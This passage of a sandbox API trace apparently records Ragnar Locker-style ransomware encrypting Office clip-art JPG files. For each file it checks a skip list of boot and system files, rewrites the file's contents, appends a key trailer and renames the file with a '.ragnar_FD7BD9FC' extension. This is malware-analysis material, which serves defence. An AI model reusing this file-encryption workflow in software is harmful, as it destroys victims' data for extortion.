1 [0088.146] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16d08, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.146] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x16d08, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x16d08, lpOverlapped=0x0) returned 1 [0088.147] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16d08, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.147] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.147] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16d08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.147] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.147] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.148] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.148] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.148] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.148] GetProcessHeap () returned 0x580000 [0088.148] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.148] CloseHandle (hObject=0xf4) returned 1 [0088.148] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" [0088.148] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG.ragnar_FD7BD9FC" [0088.148] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382967.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382967.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.149] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b75f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382968.JPG", cAlternateFileName="")) returned 1 [0088.149] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.149] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382968.JPG" | out: lpString1="J0382968.JPG") returned="J0382968.JPG" [0088.149] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG") returned=".JPG" [0088.149] lstrcmpiW (lpString1="J0382968.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.149] lstrcmpiW (lpString1="J0382968.JPG", lpString2="autorun.inf") returned 1 [0088.149] lstrcmpiW (lpString1="J0382968.JPG", lpString2="boot.ini") returned 1 [0088.149] lstrcmpiW (lpString1="J0382968.JPG", lpString2="bootfont.bin") returned 1 [0088.149] lstrcmpiW (lpString1="J0382968.JPG", lpString2="bootsect.bak") returned 1 [0088.149] lstrcmpiW (lpString1="J0382968.JPG", lpString2="bootmgr") returned 1 [0088.149] lstrcmpiW (lpString1="J0382968.JPG", lpString2="bootmgr.efi") returned 1 [0088.149] lstrcmpiW (lpString1="J0382968.JPG", lpString2="bootmgfw.efi") returned 1 [0088.149] lstrcmpiW (lpString1="J0382968.JPG", lpString2="desktop.ini") returned 1 [0088.149] lstrcmpiW (lpString1="J0382968.JPG", lpString2="iconcache.db") returned 1 [0088.149] lstrcmpiW (lpString1="J0382968.JPG", lpString2="ntldr") returned -1 [0088.149] lstrcmpiW (lpString1="J0382968.JPG", lpString2="ntuser.dat") returned -1 [0088.149] lstrcmpiW (lpString1="J0382968.JPG", lpString2="ntuser.dat.log") returned -1 [0088.149] lstrcmpiW (lpString1="J0382968.JPG", lpString2="ntuser.ini") returned -1 [0088.149] lstrcmpiW (lpString1="J0382968.JPG", lpString2="thumbs.db") returned -1 [0088.149] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.149] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.149] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.149] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.149] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.149] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.149] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.149] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg")) returned 0x20 [0088.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.150] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=112479) returned 1 [0088.150] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b756, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.150] GetProcessHeap () returned 0x580000 [0088.150] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.150] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.151] VirtualAlloc (lpAddress=0x0, dwSize=0x1b75f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.151] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.151] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.151] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b75f, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1b75f, lpOverlapped=0x0) returned 1 [0088.154] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.154] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b75f, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.154] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b75f, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1b75f, lpOverlapped=0x0) returned 1 [0088.155] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b75f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.155] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.155] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b75f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.156] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.156] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.156] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.156] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.156] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.156] GetProcessHeap () returned 0x580000 [0088.156] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.156] CloseHandle (hObject=0xf4) returned 1 [0088.156] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" [0088.156] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG.ragnar_FD7BD9FC" [0088.156] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382968.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382968.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.157] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1779f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382969.JPG", cAlternateFileName="")) returned 1 [0088.157] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.157] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382969.JPG" | out: lpString1="J0382969.JPG") returned="J0382969.JPG" [0088.157] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG") returned=".JPG" [0088.157] lstrcmpiW (lpString1="J0382969.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.157] lstrcmpiW (lpString1="J0382969.JPG", lpString2="autorun.inf") returned 1 [0088.157] lstrcmpiW (lpString1="J0382969.JPG", lpString2="boot.ini") returned 1 [0088.157] lstrcmpiW (lpString1="J0382969.JPG", lpString2="bootfont.bin") returned 1 [0088.157] lstrcmpiW (lpString1="J0382969.JPG", lpString2="bootsect.bak") returned 1 [0088.157] lstrcmpiW (lpString1="J0382969.JPG", lpString2="bootmgr") returned 1 [0088.157] lstrcmpiW (lpString1="J0382969.JPG", lpString2="bootmgr.efi") returned 1 [0088.157] lstrcmpiW (lpString1="J0382969.JPG", lpString2="bootmgfw.efi") returned 1 [0088.157] lstrcmpiW (lpString1="J0382969.JPG", lpString2="desktop.ini") returned 1 [0088.157] lstrcmpiW (lpString1="J0382969.JPG", lpString2="iconcache.db") returned 1 [0088.157] lstrcmpiW (lpString1="J0382969.JPG", lpString2="ntldr") returned -1 [0088.157] lstrcmpiW (lpString1="J0382969.JPG", lpString2="ntuser.dat") returned -1 [0088.157] lstrcmpiW (lpString1="J0382969.JPG", lpString2="ntuser.dat.log") returned -1 [0088.157] lstrcmpiW (lpString1="J0382969.JPG", lpString2="ntuser.ini") returned -1 [0088.157] lstrcmpiW (lpString1="J0382969.JPG", lpString2="thumbs.db") returned -1 [0088.157] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.157] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.157] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.157] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.157] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.157] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.157] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.157] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg")) returned 0x20 [0088.158] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.158] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=96159) returned 1 [0088.159] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x17796, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.159] GetProcessHeap () returned 0x580000 [0088.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.159] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.160] VirtualAlloc (lpAddress=0x0, dwSize=0x1779f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.160] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.160] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.160] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1779f, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1779f, lpOverlapped=0x0) returned 1 [0088.162] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.163] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1779f, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.163] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1779f, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1779f, lpOverlapped=0x0) returned 1 [0088.163] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1779f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.163] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.164] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1779f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.164] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.164] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.164] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0088.164] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0088.164] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.164] GetProcessHeap () returned 0x580000 [0088.164] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0088.164] CloseHandle (hObject=0xf4) returned 1 [0088.165] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" [0088.165] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG.ragnar_FD7BD9FC" [0088.165] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382969.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382969.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0088.165] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15b94, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0382970.JPG", cAlternateFileName="")) returned 1 [0088.165] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0088.165] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0382970.JPG" | out: lpString1="J0382970.JPG") returned="J0382970.JPG" [0088.165] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG") returned=".JPG" [0088.165] lstrcmpiW (lpString1="J0382970.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0088.165] lstrcmpiW (lpString1="J0382970.JPG", lpString2="autorun.inf") returned 1 [0088.165] lstrcmpiW (lpString1="J0382970.JPG", lpString2="boot.ini") returned 1 [0088.165] lstrcmpiW (lpString1="J0382970.JPG", lpString2="bootfont.bin") returned 1 [0088.166] lstrcmpiW (lpString1="J0382970.JPG", lpString2="bootsect.bak") returned 1 [0088.166] lstrcmpiW (lpString1="J0382970.JPG", lpString2="bootmgr") returned 1 [0088.166] lstrcmpiW (lpString1="J0382970.JPG", lpString2="bootmgr.efi") returned 1 [0088.166] lstrcmpiW (lpString1="J0382970.JPG", lpString2="bootmgfw.efi") returned 1 [0088.166] lstrcmpiW (lpString1="J0382970.JPG", lpString2="desktop.ini") returned 1 [0088.166] lstrcmpiW (lpString1="J0382970.JPG", lpString2="iconcache.db") returned 1 [0088.166] lstrcmpiW (lpString1="J0382970.JPG", lpString2="ntldr") returned -1 [0088.166] lstrcmpiW (lpString1="J0382970.JPG", lpString2="ntuser.dat") returned -1 [0088.166] lstrcmpiW (lpString1="J0382970.JPG", lpString2="ntuser.dat.log") returned -1 [0088.166] lstrcmpiW (lpString1="J0382970.JPG", lpString2="ntuser.ini") returned -1 [0088.166] lstrcmpiW (lpString1="J0382970.JPG", lpString2="thumbs.db") returned -1 [0088.166] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0088.166] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0088.166] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0088.166] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0088.166] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0088.166] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0088.166] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0088.166] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg")) returned 0x20 [0088.166] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0382970.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0382970.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0088.166] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=88980) returned 1 [0088.167] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15b8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.167] GetProcessHeap () returned 0x580000 [0088.167] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0088.167] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0088.168] VirtualAlloc (lpAddress=0x0, dwSize=0x15b94, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0088.168] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.168] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0088.168] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x15b94, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x15b94, lpOverlapped=0x0) returned 1 [0088.171] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0088.171] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15b94, nNumberOfBytesToLockHigh=0x0) returned 1 [0088.171] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x15b94, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x15b94, lpOverlapped=0x0) returned 1 [0088.172] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15b94, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.172] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0088.172] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15b94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.172] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, 